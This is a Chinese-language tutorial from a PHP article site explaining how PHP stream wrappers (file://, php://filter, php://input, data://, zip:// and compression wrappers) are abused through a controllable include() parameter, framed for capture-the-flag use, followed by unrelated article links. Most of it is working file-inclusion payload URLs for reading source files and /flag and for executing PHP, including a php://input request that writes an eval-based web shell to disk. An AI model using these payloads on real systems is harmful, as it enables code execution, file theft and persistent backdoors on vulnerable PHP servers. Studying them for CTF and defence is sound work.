php偽協(xié)議實(shí)現(xiàn)命令執(zhí)行詳情
1.file://協(xié)議
條件：
allow_url_fopen : off/on allow_url_include: off/on
作用：
用于訪問(wèn)本地文件系統(tǒng)，在ctf中通常用來(lái)讀取本地文件
在include() / require() / include_once() / require_once() 參數(shù)可控的情況下，即使導(dǎo)入非.php文件，如shell.txt ，依然按照php語(yǔ)法進(jìn)行解析，這是include()函數(shù)所決定的
說(shuō)明:
file:// 文件系統(tǒng)是php使用的默認(rèn)封裝協(xié)議，用于展示本地文件系統(tǒng)。
用法：
/path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:\path\to\winfile.ext \\smbserver\share\path\to\winfile.ext file:///path/to/file.ext
示例：
1.file://[文件的絕對(duì)路徑和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
2.file://[文件的相對(duì)路徑和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
3.http://網(wǎng)絡(luò)位置和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
2.php://協(xié)議
條件：
allow_url_open : off/on allow_url_include: 僅 php://input ?php://stdin php://memory php://temp 需要on
作用：
php:// 訪問(wèn)各個(gè)輸入/輸出流 (I/O streams), 在ctf中經(jīng)常使用的是 php://filter 和 php://input
php://filter 用于讀取源碼 php://input 用于執(zhí)行php代碼
說(shuō)明：
php提供了一些雜項(xiàng)輸入/輸出(IO)流，允許訪問(wèn) PHP 的輸入輸出流，標(biāo)準(zhǔn)輸入輸出流和錯(cuò)誤描述符：
php://filter使用：
php://filter/read=convert.base64-encode/resource=[文件名]
php://input的使用：
http://127.0.0.1/include.php?file=php://input
?[POST DATA部分] <?php phpinfo(); ?>
寫入一句話
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>3.data://協(xié)議
作用：
php>=5.2.0 , 可以使用data://數(shù)據(jù)流封裝器，以傳遞相應(yīng)格式的數(shù)據(jù)。通常用來(lái)執(zhí)行php代碼
用法：
data://text/plain, ???
如：
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
4.zip:// & bzip:// & zlib:// 協(xié)議
作用：
zip:// & bzip:// & zlib:// 均屬于壓縮流，可以訪問(wèn)壓縮文件中的子文件，更重要的是不需要指定后綴名，可以修改為任意后綴名，如 jpg，png，gif，xxx等
示例：
1.zip://[壓縮文件絕對(duì)路徑]%23[壓縮文件內(nèi)的子文件文件名](# 的編碼為 %23)
壓縮 phpinfo.txt 為phpinfo.zip ,壓縮包重命名為 phpinfo.jpg ,并上傳
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2
壓縮phpinfo.txt 為phpinfo.bz2 并上傳（同樣支持任意后綴名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
3.compress.zlib://file.gz
壓縮phpinfo.txt 為phpinfo.gz 并上傳（支持任意后綴名）
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
總結(jié)
在ctf中常用的有data:// , php://input , php://filter ，file://
php://input ，data://用來(lái)執(zhí)行命令 1.php://input 的用法 http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?> 2.data://用法 http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> php://filter，file://用來(lái)讀取文件 3.php://filter用法 http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php（讀取php文件需要先加密以下才能讀出來(lái)） http://127.0.0.1/include.php?file=php://filter/resource=/flag 4.file://用法 http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
到此這篇關(guān)于php偽協(xié)議實(shí)現(xiàn)命令執(zhí)行詳情的文章就介紹到這了,更多相關(guān)php命令執(zhí)行內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！
相關(guān)文章
php判斷輸入不超過(guò)mysql的varchar字段的長(zhǎng)度范圍
varchar類型字段，如果你設(shè)置長(zhǎng)度為10，那么不論漢字和英文都可以存10個(gè)。2011-06-06
幾個(gè)實(shí)用的PHP內(nèi)置函數(shù)使用指南
本文給大家推薦了7個(gè)不經(jīng)常被用到，但實(shí)際很實(shí)用，功能很強(qiáng)大的php內(nèi)置函數(shù)，用好了，可以省去小伙伴們很多的時(shí)間的。2014-11-11
php根據(jù)id生成10位不重復(fù)數(shù)字跟字母混合字符串
這篇文章主要介紹了php根據(jù)id生成10位不重復(fù)數(shù)字跟字母混合字符串方法,需要的朋友可以參考下2023-05-05
PHP swoole和redis異步任務(wù)實(shí)現(xiàn)方法分析
這篇文章主要介紹了PHP swoole和redis異步任務(wù)實(shí)現(xiàn)方法,結(jié)合具體實(shí)例形式對(duì)比分析了swoole和redis異步任務(wù)具體實(shí)現(xiàn)方法及區(qū)別,需要的朋友可以參考下2019-08-08
PHP容易忘記的知識(shí)點(diǎn)分享，使用php開發(fā)的朋友可以參考下2013-04-04
本篇文章是對(duì)關(guān)于svn沖突的解決方法進(jìn)行了詳細(xì)的分析介紹，需要的朋友參考下2013-06-06
這篇文章主要介紹了php mysql PDO 查詢操作的實(shí)例詳解的相關(guān)資料,希望通過(guò)本文能幫助到大家，需要的朋友可以參考下2017-09-09
PHP header()函數(shù)常用方法總結(jié)
這篇文章主要介紹了PHP header()函數(shù)常用方法.總結(jié)了常見的用法,需要的朋友可以參考下2014-04-04
php 調(diào)用遠(yuǎn)程url的六種方法小結(jié)
php 調(diào)用遠(yuǎn)程url的六種方法，需要的朋友可以參考下。2009-11-11
詳解PHP+AJAX無(wú)刷新分頁(yè)實(shí)現(xiàn)方法
這篇文章主要介紹了詳解PHP+AJAX無(wú)刷新分頁(yè)實(shí)現(xiàn)方法，需要的朋友可以參考下2015-11-11